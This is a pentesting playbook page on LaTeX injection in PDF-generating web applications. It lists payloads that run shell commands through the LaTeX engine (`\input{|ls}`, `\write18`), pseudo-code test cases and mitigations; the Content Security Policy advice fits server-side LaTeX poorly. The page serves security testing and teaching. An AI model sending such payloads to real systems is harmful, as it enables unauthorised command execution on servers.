> For the complete documentation index, see [llms.txt](https://playbook.sidthoviti.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://playbook.sidthoviti.com/web-app-pentesting/latex-injection.md).

# LaTeX Injection

#### Description

LaTeX Injection occurs when an application accepts and processes LaTeX code from user input without proper validation, allowing attackers to inject and execute arbitrary LaTeX commands.

#### Example with Scenario

**Scenario:** A web application generates PDF documents based on user input using a LaTeX engine. An attacker can inject malicious LaTeX commands to manipulate the document or execute arbitrary code.

#### Payloads and Test Cases

**Payloads**

1. **Executing Arbitrary LaTeX Commands:**

   ```
   \input{|ls}
   ```
2. **Modifying Document Structure:**

   ```
   \begin{document}
   \section{Injected Section}
   \end{document}
   ```
3. **Running Shell Commands:**

   ```
   \immediate\write18{touch /tmp/hacked}
   ```

**Test Cases**

1. **Executing Arbitrary LaTeX Commands:**
   * **Payload:**

     ```
     \input{|ls}
     ```
   * **Test Case:**

     ```latex
     % Send payload to the server
     sendPayloadToServer("\\input{|ls}");
     % Verify if the application executes the ls command
     checkServerResponseForDirectoryListing();
     ```
2. **Modifying Document Structure:**
   * **Payload:**

     ```
     \begin{document}
     \section{Injected Section}
     \end{document}
     ```
   * **Test Case:**

     ```latex
     % Send payload to the server
     sendPayloadToServer("\\begin{document}\\section{Injected Section}\\end{document}");
     % Verify if the application renders the injected section
     checkPDFForInjectedSection("Injected Section");
     ```
3. **Running Shell Commands:**
   * **Payload:**

     ```
     \immediate\write18{touch /tmp/hacked}
     ```
   * **Test Case:**

     ```latex
     % Send payload to the server
     sendPayloadToServer("\\immediate\\write18{touch /tmp/hacked}");
     % Verify if the application runs the shell command
     checkServerForFile("/tmp/hacked");
     ```

#### Mitigation

1. **Input Validation:**
   * Validate and sanitize user input to ensure it does not contain malicious LaTeX commands.
   * Use allow-lists to restrict input to safe LaTeX commands.
2. **Disable Shell Escape:**
   * Configure the LaTeX engine to disable shell escape (e.g., `--no-shell-escape`).
   * Prevent the execution of external commands from within LaTeX.
3. **Use a Secure LaTeX Processor:**
   * Use secure LaTeX processing tools that provide protection against injection attacks.
   * Enable built-in security features to sanitize LaTeX input.
4. **Content Security Policy (CSP):**
   * Implement a strict Content Security Policy to limit the sources from which content can be loaded.
   * Use CSP to prevent the execution of inline scripts and styles.
